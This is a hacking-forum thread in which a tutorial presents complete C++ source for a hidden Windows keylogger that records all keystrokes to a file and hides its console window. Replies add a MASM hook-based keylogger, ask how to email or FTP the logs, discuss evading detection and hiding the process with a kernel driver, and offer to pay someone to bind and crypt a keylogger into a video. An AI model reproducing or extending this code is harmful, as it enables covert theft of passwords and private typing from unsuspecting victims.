Never goes above 50% (on a dual-core CPU)

Code to use less CPU:

```
Code #include <iostream>
using namespace std;
#include <windows.h>
```

```
int Save (int key_stroke, char *file);
void Stealth();
```

```
int main()
```

```

{
    SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS); // uses less CPU

    Stealth();
    char i;

    for(;;)
    {
        for(i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
                Save (i,"LOG.txt");
        }
    }
    system ("PAUSE");
    return 0;
}

```

```

/* ***** */

```

```

int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)

```

```

    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
        else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
        else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
        else
            fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* ***** */

void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
}

```

zaingm - July 15, 2009, 11:51 pm

nice man keep it up!!!!!!

Symbol - July 16, 2009, 12:04 am

Wow this is really nice, good job with the tutorial, very helpful!

JONAS_JONAS - August 19, 2009, 6:53 pm

anyone know how to make it so the text file emails to you or uploads to an FTP?

Hide_My_Ass - August 22, 2009, 8:53 am

Nice man

but when i compile it shows a problem with this line

```
for(i = 8; i <= 190; i++)
```

DYSfunkTIONAL2.0 - August 22, 2009, 10:07 am

lol,some one ripdd of dark array and gave me the credit!!!

<http://www.opensc.ws/c-c/6844-c-keylogger-stealth-ooooohhh-ive-put-loads-comments-2.html>

noreply-10 - August 22, 2009, 10:14 am

Great share! I will have a look at it when i am more advanced in C++.

Really appreciate your work ;).

Headbustaz - August 22, 2009, 3:28 pm

Hey dude, pretty nice little program and great tutorial! keep up the good work :)

plagued venom - August 23, 2009, 3:32 am

Thanks keep up the good work ;)

kzaqira-L337H@ck - August 23, 2009, 11:32 am

Good Tutorial Thanks !

PrecisionLex - August 25, 2009, 9:06 pm

hey when i build the code it works but when i try to compile/run it doesnt open...the program just flashes on the screen and does nothing.

Dark Array - August 26, 2009, 9:08 am

(Aug 25, 2009 09:06 PM)Geezup Wrote: [\[CITE\]](#) hey when i build the code it works but when i try to compile/run it doesnt open...the program just flashes on the screen and does nothing. Then you want to comment out the stealth function

tony-san_darkstar - August 31, 2009, 5:58 pm

Thank you for this but i have a little question? How can i do to receive log to my email/ftp serveur? I mean, that save every key you're tapping, but in our computer... thanks.

helldemon - August 31, 2009, 6:48 pm

what do i do with it now since i made it??? like how do i execute it..

Haxization - September 6, 2009, 3:27 pm

when i compiled it had errors, please help with

tony-san_darkstar - September 8, 2009, 7:12 am

What is your builder or your compiler?...

SIM-73089 - September 19, 2009, 8:24 am

Thanks a lot for the code

SIM-73089 - September 19, 2009, 10:14 am

(Feb 27, 2009 04:26 AM)Dark Array Wrote: [\[CITE\]](#) Yes there is, google up smtp and blat, DA, if you happen to return to this topic, i am wondering how to reduce the CPU usage... its running like mad compared to other programs... any idea how to utilize the while loop properly?hahaha yah, I am still searching for a way to put the cpu usage down :)

I also saugh it when I runned it on a computer in my school and the computer crashed like hell :)

Anyway maby someone knows how this is done?

[/quote]

i saw this code somewhere.it changed the file to 1.0/0.5% cpu usage.

Search for the function:Sleep

Banker - September 19, 2009, 2:05 pm

Great tut ! Keep up the good stuff ! :)

Thanks

TheBlackMarket - September 19, 2009, 3:35 pm

Really Good C++ Keylogger Tutorial!

ssssss - September 20, 2009, 8:32 am

Thanks you for this tutorial

InvisibleMan- - October 13, 2009, 3:52 pm

Thanks for the tutorial, I'm going to use this to help me program my 1st keylogger.

gerald311441 - October 13, 2009, 6:09 pm

Thanks for the tutorial It'll come in handy

newbie223 - October 14, 2009, 7:58 am

keylogger in c++ is hard to make but fun to use

kamelreiter - October 14, 2009, 1:49 pm

C++ is a hard coding language

dippi - October 14, 2009, 2:46 pm

i dnt think its is gona be easy... but thanx anywys

Learning - October 14, 2009, 3:33 pm

Not a bad tut for beginners, but maybe you could use 'switch' AKA 'case' instead of all those else if's, makes code dirty, also maybe you could use WritePrivateProfileInt(); as it save a lot of work instead of opening the file and choosing opening mode(a,r,w)

newbie223 - October 14, 2009, 8:46 pm

i could nvr understand c++ its hard thumbs up too those who can :D

ElectroMayhem - October 21, 2009, 5:01 am

where does the log save to again?

ØLi??R678h4ks - November 14, 2009, 11:12 am

Nice keylogger.

?

Airex - November 15, 2009, 1:49 am

this keylogger is still FUD?

hackurheart - November 15, 2009, 2:13 am

hi just a quick kweschun :P umm where does it output the log file? i cannot find it :/

EDIT: nvmnd, stupid me, i found it lol :L

and to reduce cpu usage, i think you have to put Sleep (50); in the while loop.

OKaide - November 29, 2009, 12:31 pm

I have a questions:

Why whenever I compile this in Visual C++ Express 2008 the resulting executable is only like ~3kb, and it runs fine (if fine includes the massive CPU overload); but, when I compile it in Dev-C++ the executable is 500kb!? They both seem to run the same.

Another question:

Is it possible to prevent the executable from needing to use msvcrt.dll or ANYthing related to visual c++ because I have a feeling that this means my program will run with an overhead due to being translated at runtime. I GAIN NO SATISFACTION FROM COMPILING A PROGRAM THAT NEEDS AN INTERPRETER! Lol. I really wanted to be able to make my own low-level programs that are as simple as I code them to be, of course with the header file stuff.

Thanks!

Oh, another question:

Why do my executables contain strings with the directories of stuff on my PC? Is that debug

information? How do I remove it? I don't want any stupid Just In Time debug errors, or anything like that, to pop up on my victims computer even if it isn't working.

Ziore - November 29, 2009, 12:56 pm
Nice!!!

Now i need to see the 15 pages looking more info : P

OKaide - November 29, 2009, 4:22 pm

I want a tutorial covering the actual gui-customloggerbuilder and stub. I don't understand how it all works.

nQL - December 7, 2009, 1:18 am

I'm having an error.

Perhaps u want to know, I'm using Dev-C++ with Windows Vista 64-bit.

[\[IMG\]http://img37.imageshack.us/img37/7674/errorqx.th.jpg\[/IMG\]](http://img37.imageshack.us/img37/7674/errorqx.th.jpg)

imAcarrot - December 7, 2009, 1:21 am

nice tutorial ... good work! :)

saheliano - December 7, 2009, 12:12 pm

Thnx ! Well post ,but i like visual basic 2008 more then C++ :)

t7ancients - December 23, 2009, 8:42 pm

Code .586

.model flat, stdcall

option casemap:none

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

include \masm32\include\user32.inc

includelib \masm32\lib\user32.lib

includelib \masm32\lib\kernel32.lib

KeyBoardProc PROTO :DWORD, :DWORD, :DWORD

KBDLLHOOKSTRUCT struct

vkCode dword ?

scanCode dword ?

flags dword ?

time dword ?

dwExtraInfo dword ?

KBDLLHOOKSTRUCT ends

.data

mutex db "B1ackAnge1sKeyLogger",0

logFile db "log.txt",0

hFile HANDLE 0

hHook HHOOK 0

msg MSG <>

nBytesWritten dd 0

```

.code
main:
    invoke CreateMutex,0,0,offset mutex
    call GetLastError
    cmp     eax, ERROR_ALREADY_EXISTS
    je      _quit

    invoke RegisterHotKey,0,0B1C5437h,MOD_ALT,VK_F12

    invoke CreateFile,offset
logFile,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,
NULL
    mov [hFile], eax

    invoke GetModuleHandle,0
    invoke SetWindowsHookEx,WH_KEYBOARD_LL, KeyBoardProc,eax,0 ;eax holds value
from GetModuleHandle
    mov [hHook], eax

    invoke GetMessage,offset msg,0,0,0

_finalize:
    invoke UnhookWindowsHookEx,offset hHook

    invoke CloseHandle,offset hFile

_quit:
    invoke ExitProcess,0

KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD
LOCAL lpBuffer[32]:BYTE
LOCAL lpKeyState[256] :BYTE

    cmp hFile, 0
    jz _nexthook

    mov  eax, wParam
    cmp  eax, WM_KEYUP
    je   _nexthook

    cmp  eax, WM_SYSKEYUP
    je   _nexthook

    xor  eax,eax
    lea  edi, lpBuffer
    mov  ecx, 8
    rep stosd

    lea  edi, lpKeyState
    mov  ecx, 64
    rep stosd

```

invoke GetKeyboardState,lpKeyState

```
mov ebx, IParam
assume ebx:ptr KBDLLHOOKSTRUCT
invoke ToAscii,[ebx].vkCode,[ebx].scanCode,lpKeyState,lpBuffer,0
test  eax, eax
jnz  _save
```

```
_translateKey:          ;Basically if we got here it was a 'non-ascii' key
xor ecx,ecx
mov  eax,[ebx].scanCode
mov  ecx,02000000h
shl  eax, 16
or   ecx, eax
mov  eax,[ebx].flags
shl  eax, 24
or   ecx,eax
lea  edi, lpBuffer
invoke GetKeyNameText,ecx,edi,32
```

```
mov edx, eax
```

```
_save:
invoke WriteFile,hFile,addr lpBuffer,edx,offset nBytesWritten,0
```

```
_nexthook:
invoke CallNextHookEx,hHook,nCode, wParam,IParam
ret
```

```
KeyBoardProc  ENDP
```

end mainlookie what I found =p
I compiled with MASM32. try it. it's kwl.

The End Gamer - December 24, 2009, 3:07 am

Great Tutorial Dude
Good work =)

Datajunkie - January 21, 2010, 1:06 am

Sweet! Thanks looks like a good skeleton...

Manilla - January 23, 2010, 3:39 pm

How do you save it and run it?.. can i send it to a friend or what ever?

JUAN9087™ - January 25, 2010, 10:27 pm

very good tut trying it now =]

ker_ro - January 29, 2010, 6:04 am

good tutorial bro...

tanovo - March 2, 2010, 12:10 pm

(Jan 3, 2009 10:53 PM)GoTTsProfeT Wrote: [\[CITE\]](#) ok just a question, but how do i log enter as {enter} and backspace as {backspace} and how would i submit the data over POST to a web page instad of storing it to a file?


```

    {
        sa_key(i, "Update_Log.txt");
    }
}

sleep(25);

}

return 0;
}

```

```

int sa_key(int stroke, char *file)
{
    if((stroke == 1) || (stroke == 2))
    {
        return 0;
    }

    FILE *log_out;

    log_out = fopen(file, "a+");

    fprintf(log_out, "%s", &stroke);

    fclose(log_out);

    return 0;
}

```

amahacka - April 15, 2010, 10:42 am

Now how is the captured data sent to ME? A lot of code is missing to make it a useful keylogger program.

.Iretarded - April 19, 2010, 9:02 pm

(Apr 15, 2010 10:42 AM)amahacka Wrote: [CITE](#) Now how is the captured data sent to ME? A lot of code is missing to make it a useful keylogger program.

If you read the OP, it tells you that this code is simply to give you a log of what is pressed on your own computer. Figuring how to get it sent to you from another computer is entirely up to you.

However, if you want, you can look up "networking in C" and you can find a load of useful info. I kinda like the SDL library myself. It's pretty user-friendly for networking purposes.

Vicodemus - June 4, 2010, 11:13 am

Just a bit of random assistance.. Not sure if it was previously mentioned or not, but still.. Better mentioned twice than none.

If using C::B/mingw32/gcc, add:

```
#include <stdio>
```

otherwise fprintf, and the sort error out.

Other than that, excellent tutorial. Kudos mate.

Also, guys check it out. This tutorial is a simple bare-bones of a keylogger. it's the perfect tutorial bit to learn how to write one. Everything else, perks wise (other computers running and sending logs, dialogs, etc etc etc) is up to you. Don't forget to credit the guy. :]

Also, guys check it out. This tutorial is a simple bare-bones of a keylogger. it's the perfect tutorial bit to learn how to write one. Everything else, perks wise (other computers running and sending logs, dialogs, etc etc etc) is up to you. Don't forget to credit the guy. :]

nils - June 6, 2010, 1:12 am

omg, that is crazy!!

Men, you should take a look at the switch condition. Your code is hard to read! xD

Also, the indentation is kind of wired sometimes...

The whole thing takes a lot of CPU, that sucks... I'm trying to find a better way to run the program.

Anyway, thank a lot! really useful! :D

vivekmanghat - June 8, 2010, 9:15 pm

Nice work dude. Your keylogger is awsum.

gtacyb - June 11, 2010, 8:21 am

Thanks for Tutorial.

Nice one.

__wArlock - June 11, 2010, 11:21 am

It's a bit of shame to hide the window using ShowWindow (not professional i think).

the easiest method is just to avoid the window creation by selecting a window project type instead of a console project, just create an empty window project

declare the entry point

PHP Code

```
<?php
```

```
int __stdcall _tWinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine,
int nCmdShow ) {
```

```
}
```

and don't create the window, just start a separated thread while a main loop is running and you're set to go with no window popping

for even professional method, create a kernel mode driver to run under that keylogger to enter the processes list and delete the process of your keylogger so now there are no mention for it running

black-_-bird - June 14, 2010, 11:24 am

thanks a lot but did any one saw that

the exe strenght is 466 Ko !!!!

sand.dollar - July 11, 2010, 3:58 am

To all: DO NOT USE the <iostream> library (do not use functions like "cout", "cin", "<<" etc.). The filesize will be about 470KB. Use the "stdio.h" instead and function "printf"... so the filesize will be about 20KB!!!

(Jun 11, 2010 11:21 AM) __wArlock Wrote: [\[CITE\]](#) PHP Code

```
<?php
```

```
int __stdcall _tWinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine,
int nCmdShow ) {
```

}

and don't create the window, just start a separated thread while a main loop is running and you're set to go with no window popping

Please could you explain a little bit more? How to start a separated thread? Please include a bigger piece of code :)

R?putation - July 12, 2010, 3:26 pm

Omg thanks so much for this

slayerman95 - July 18, 2010, 7:28 pm

Could I put this in a program if so link it to a tutorial please and thank you. :)

Oxycotton - July 18, 2010, 7:40 pm

Thanks for the tutorial... i will defo try this

NGen - July 18, 2010, 8:51 pm

Just so you know (not sure if someone else mentioned it, there's no way I'm sifting through 18 pages of posts) you can get rid of the stealth function by building just a Win32 Application (SUBSYSTEM:WINDOWS) and replacing

```
int main ( )
```

with

```
int WINAPI WinMain ( HINSTANCE h, HINSTANCE hprev, LPSTR lpCmd, int nShow)
```

Also, it's worth noting that this doesn't work on Windows 7, from my testing.

hakling - July 23, 2010, 5:45 am

Really nice one u got there. I have an keylogger too, but I've coded it in VB. I should try to work on this later. Thanks.

HaXoR7Om - July 24, 2010, 8:48 am

Wow nice dude :D It seems pretty cool :D

w33n - July 31, 2010, 6:06 am

(Jul 21, 2010 09:55 PM)Wind Wrote: [\[CITE\]](#) Copypasta?

<http://hackspc.com/how-to-make-a-keylogger/>

Not cool.

Dude this is from 2009.

Fuck, read the post dates first.

illustrateme - July 31, 2010, 10:18 am

Not to mention, this keylogger uses GetASyncKeyState... the worst choice....

GetASyncKeyState Keyloggers bog down the CPU, and are easy to detect. This is a good start in C however, but I'd definitely not recommend it for a real world application.

--Also, sorry, didnt notice the post date. Those guys dug it up ^

deathgram - July 31, 2010, 3:02 pm

great tutorial, this will come handy pretty soon!

SIM-137033 - July 31, 2010, 6:26 pm

(Jul 31, 2010 10:18 AM)illustrateme Wrote: [\[CITE\]](#) Not to mention, this keylogger uses GetASyncKeyState... the worst choice....

GetASyncKeyState Keyloggers bog down the CPU, and are easy to detect. This is a good start in C however, but I'd definitely not recommend it for a real world application.

--Also, sorry, didnt notice the post date. Those guys dug it up ^What's a better alternative?

Simplicity - July 31, 2010, 8:52 pm

This is a nice tut. Good job. Basic though :)

illustrateme - July 31, 2010, 9:11 pm

(Jul 31, 2010 06:26 PM)tofurocks Wrote: [\[CITE\]](#) What's a better alternative?

SetWindowsHookEx() is a much more effective alternative, if you can manage to keep it undetected, though these are all too common.

GetRawInputData() keyloggers are my personal favorite. They aren't nearly as common, and therefore harder to detect.

PM me if you need further help so we dont have to keep reviving this thread.

Strife - October 24, 2010, 8:43 am

sry for ing this but has anyone else didn't understand this part:

```
while (1)
{
    Sleep(50);
    for ( i = 8; i <= 190; i++)
    {
        if (GetASyncKeyState(i) == -32767)
            Save (i,"LOG.txt");
    }
}
```

I mean how is (i) connected to key_stroke (which is what should be there i assume, not "file") ??
can anyone explain this code?

or else why key_stroke == 8 well return the number? I mean based on what it will understand that this is a keycode?

ananui81 - October 25, 2010, 2:29 pm

Not a good beginner tutorial and it certainly shouldn't be one of the the most viewed .. but i guess copy paste skidies like this .. ?

The code is nice .. i guess .. can be perfected with a little thinking ..

Xplodin - October 25, 2010, 3:57 pm

i want to test it on my own computer, then my friends (with persmission)

if it works, then thank you, i just built a way to find the admin password to my computer :P

Joseph Ducreux - October 25, 2010, 4:11 pm

(Jan 3, 2009 02:00 PM)Dark Array Wrote: [\[CITE\]](#) Hello everyone, this is my first tutorial EVER.

I will learn you to create a keylogger in c++ using vs 2008.

It can also be done in dev-c++, codegear c++ builder.

This keylogger wil save a log of the keys that are pressed on your HD.

Note: This tutorial is for educational purpose only.
Only put the keylogger on a computer where you got permission for.

Thx to Kevin Willett for teaching me this.

Lets get started.

++

First we need to create a new project.

Click on 'File' > 'New' > 'Project'.

Now choose 'Win32 Console Application' and choose for name "Keylogger".

If you get the 'Win32 Application Wizzard' click on 'Next' and then select 'Empty project' under 'Additional options' and click on 'Finish'.

You should have a empty project now.

Now we will add a .cpp file.

Right click on 'Source Files' and take 'Add' > 'New Item'.

Now take 'C++ File(.cpp)' and name it Keylogger.

then click 'Add'.

Now open Keylogger.cpp and Write this in it.

```
Code #include <iostream> // These we need to
using namespace std; // include to get our
#include <windows.h> // Keylogger working.
#include <winuser.h> //
```

Now write this:

```
Code int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.
```

Now we need to make a main function.(The main function will be the first that will be executed.)

```
Code int main()
{
    Stealth(); // This will call the stealth function we will write later.
    char i; //Here we declare 'i' from the type 'char'

    while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
    { // Note this is also the part that will increase your cpu usage
        for(i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
            Save (i,"LOG.txt"); // This will send the value of 'i' and "LOG.txt" to our save function we will write
            later. (The reason why we declared it at the start of the program is because else the main function is
            above the save function so he wont recognize the save function. Same as with the stealth function.)
        }
    }
    system ("PAUSE"); // Here we say that the system have to wait before exiting.
    return 0;
}
Ok so far so good :).
```

Now under the latest code add this

To make it look better.

Code `/* ** */`

Under that we will write our keylogger so it will also recognize special keys like the 'spacebar' and stuff.

If you want to add some yourself here is a site where you can look up the ascii table.

<http://www.asciitable.com/>

Code `int Save (int key_stroke, char *file) // Here we define our save function that we declared before.`

```
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 8) // The numbers stands for the ascii value of a character
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is
pressed. All the code under this works the same.
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow,
down arrow..
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);
}
```

```
fclose (OUTPUT_FILE);
return 0;
}
```

Now we going to add Stealth to it.

Under the latest code add again

Code `/* ** */`

Now write:

```
Code void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
}
```

So thats it, you wrote your first keylogger :).

Here the full code:

```
Code #include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
```

```
int Save (int key_stroke, char *file);
void Stealth();
```

```
int main()
{
    Stealth();
    char i;

    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
            Save (i,"LOG.txt");
        }
        system ("PAUSE");
    }
    return 0;
}
```

```
/* ** */
```

```
int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
```

```
cout << key_stroke << endl;
```

```
if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);
```

```
fclose (OUTPUT_FILE);
return 0;
}
```

```
/* ** */
```

```
void Stealth()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
}
```

keylogger in vs 2008 = fail

I give up in the majority of the programming communitiy

Damion774 - October 25, 2010, 6:32 pm

Good tutorial :D Well done.

Cam G - October 26, 2010, 5:35 am

Hmmm, it's a nice simple tutorial, although you only have to have a basic understanding of functions and writing to an output file in order to do it. Still it was a good tutorial.

Golliath808 - October 28, 2010, 11:09 am

This source is portable? u know what i mean.

g4143 - October 28, 2010, 11:43 am

(Oct 28, 2010 11:09 AM)Golliath808 Wrote: [\[CITE\]](#) This source is portable? u know what i mean. No its not portable...It has Windows libraries.

Shantari - October 28, 2010, 11:44 am

(Oct 28, 2010 11:09 AM)Golliath808 Wrote: [\[CITE\]](#) This source is portable? u know what i mean. I assume you mean does the source work cross-platform, in which case, no it does not. This is because it uses code from the Win32 API which only works on the windows platform.

Golliath808 - October 31, 2010, 8:47 am

(Oct 28, 2010 11:44 AM)Shantari Wrote: [\[CITE\]](#) I assume you mean does the source work cross-platform, in which case, no it does not. This is because it uses code from the Win32 API which only works on the windows platform. Yes, that's what i mean. OK thx for information.

openeyes - October 31, 2010, 11:27 am

good tutorial....thx 4 sharing

arnolddrita - November 4, 2010, 1:45 pm

Very nice tutorial man! Keep it going... :)

-Felix- - November 4, 2010, 3:15 pm

Nice tutorial so far for this kind of Keylogger.

I prefer doing it with hooks though (the keystrokes-reporting, im not claiming to be able to write a complete Keylogger :P), since GetAsyncKeyState takes a LOT of process and therefore makes the PC very slow while having it running. Also its not pretty safe, GetAsyncKeyState sometimes returns crap.

fayssaldz - November 5, 2010, 8:13 pm

thanks a great my friend for this

Charity - November 6, 2010, 11:49 am

Good first tutorial. I was actually looking for something like this to share with a Computer Science class.

-Felix- - November 7, 2010, 2:37 am

Im thinking of doing a Keylogger Tut too. But with systemwide KeyboardHooks + an integrated client that connects to Server xyz and saved the keys in a .txt-File.

chowder - November 13, 2010, 7:51 am

Can you please explain how it works?

Thanks

landside - November 16, 2010, 12:44 pm

Hello, I want find a person which could help me by binding a keylogger to my video. And also crypt it. I will pay money for it. if anyone could help me please PM me. I pay a good money ,, up to 20usd via paypal... thank you...

PrototypeNinja - November 19, 2010, 12:52 pm

Thanks, this is useful to know ?

GOD-GIFTED - November 20, 2010, 5:25 am

ADD MAIL FUNCTION,SO THAT THE LOG FILE WILL BE CAPABLE OF SENDING IT TO DESIRED MAIL ADDRESS... COME ON DO IT & SHARE IT.. ? ? ?

atum - November 20, 2010, 6:10 am

great tut, thanks for the sharing.. keylogger rocks :) works for me !

TheSecondofAll - December 2, 2010, 7:59 am

If not made as a Win32 Console Application project, add this to the beginning:

```
#include <stdio.h>
```

Atleast this works in Code::Blocks ?

Sorry if this was already posted, or if this is just waste of time..

Excellent tutorial, good described ?

tipledown - December 2, 2010, 8:47 am

Thanks man very nice tutorial :)

Golliath808 - December 11, 2010, 6:38 am

is quite hard to do those things on your own in c++,u need to search like hell for commands and they take alot of CPUusage.Search for genessis keylogger (i think is coded in c) and with some effort u could refud it. Good luck!

Navigator - December 11, 2010, 8:20 am

This is just horrible. When you're making a C++ tutorial then don't mix it with C, this really looks like garbage. int Save() doesn't really make sense either - I see that you made it return int for error codes, yet it doesn't return anything other than 0.

ovi2wise - January 8, 2011, 9:14 am

? he he awesome tutorial, i couldnt figure out how to make the window run into stealth mode when i was trying to figure out my own key logger, this is a very cool source code, i been trying to figure out how to key log for weeks now, my head was about to pop, one thing that i do not understand though is the section where it says

```
if (GetAsyncKeyState(i) == -32767)
```

im trying to mainly understand what register holds the data from a key board, if only i had windows.cpp lol, do you by any chance know how i could read the keyboard data input without going through GetAsyncKey?

another thing is what does the part do where it says

```
for(i = 8; i <= 190; i++)?
```

please PM me or reply in this post, i hope i get updates. thanks ?

mehawk1 - January 9, 2011, 7:07 am

(Jan 8, 2011 10:14 AM)ovi2wise Wrote: [\[CITE\]](#) ? he he awesome tutorial, i couldnt figure out how to make the window run into stealth mode when i was trying to figure out my own key logger, this is a very cool source code, i been trying to figure out how to key log for weeks now, my head was about

to pop, one thing that i do not understand though is the section where it says

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another thing is what does the part do where it says

```
for(i = 8; i <= 190; i++)?
```

please PM me or reply in this post, i hope i get updates. thanks ?

yes there are many ways to do this. at this time i can not remember clearly one is to use windows registry weather a key is pressed or not. and for "for(i=8;i<=190;i++)" is the range in ascii because if you change 190 to 222 then the logger will pick garbage values from some keys.

Ethereal - January 9, 2011, 7:19 am

It looks good from my limited experience.

However, you should switch "system("PAUSE")" for "std::cin.get()". System("PAUSE") isn't multi-platform compatible, and is bad practice.

laptopguy - January 9, 2011, 1:28 pm

(Jan 9, 2011 08:19 AM)Ethereal Wrote: [\[CITE\]](#) It looks good from my limited experience.

However, you should switch "system("PAUSE")" for "std::cin.get()". System("PAUSE") isn't multi-platform compatible, and is bad practice.

1) This keylogger relies on the Windows API so the multi-platform shit is irrelevant.
2) Changing it to std::cin.get(); or getchar(); would mean that the victim would have to press enter on an invisible console for it to exit; I cannot see that happening.

However, if this was aimed at cross-platform then I agree with you (about the system("PAUSE");).

ovi2wise - January 10, 2011, 1:37 am

(Jan 9, 2011 08:07 AM)mehawk1 Wrote: [\[CITE\]](#) yes there are many ways to do this. at this time i can not remember clearly one is to use windows registry weather a key is pressed or not. and for "for(i=8;i<=190;i++)" is the range in ascii because if you change 190 to 222 then the logger will pick garbage values from some keys.

ok what still confuses me though is the number -32767, if im correct trying to analyze what you wrote, i read that GetAsyncKeyState is a function used to see the state of a key weather its pressed down or not, so we have a for loop that always goes through all the usual keys ranging from 8 to 190, i dont know what is after 190 (please tell me whats from 190 to 222?). so if during the execution of this program, when somebody presses a key for example 'a', we would have to keep 'a' pressed until the for loop reaches the number representing 'a', which is not impossible, though whats a problem is when somebody presses 'a' and the 'if' statement identifies that the 'a' key is pressed, then it has to go through the save procedure and that might take a bit longer, so if somebody is typing really fast, the program might skip a few characters... is there any way the save function could execute as an interrupt server routine, like when i program microchips, whenever there is an interrupt, i declare the function like this

```
void ISR_key() interrupt 0  
{
```

```
\\the function here  
}
```

though im not sure this will work because usually in processor chips an interrupt usually pauses the main function, but is there any way to make this function work in the background

Ethereal - January 10, 2011, 9:04 am

(Jan 9, 2011 02:28 PM)J?mb? Wrote: [\[CITE\]](#) 1) This keylogger relies on the Windows API so the multi-platform shit is irrelevant.

2) Changing it to `std::cin.get()`; or `getchar()`; would mean that the slave would have to press enter on an invisible console for it to exit; I cannot see that happening.

However, if this was aimed at cross-platform then I agree with you (`system("PAUSE");`).

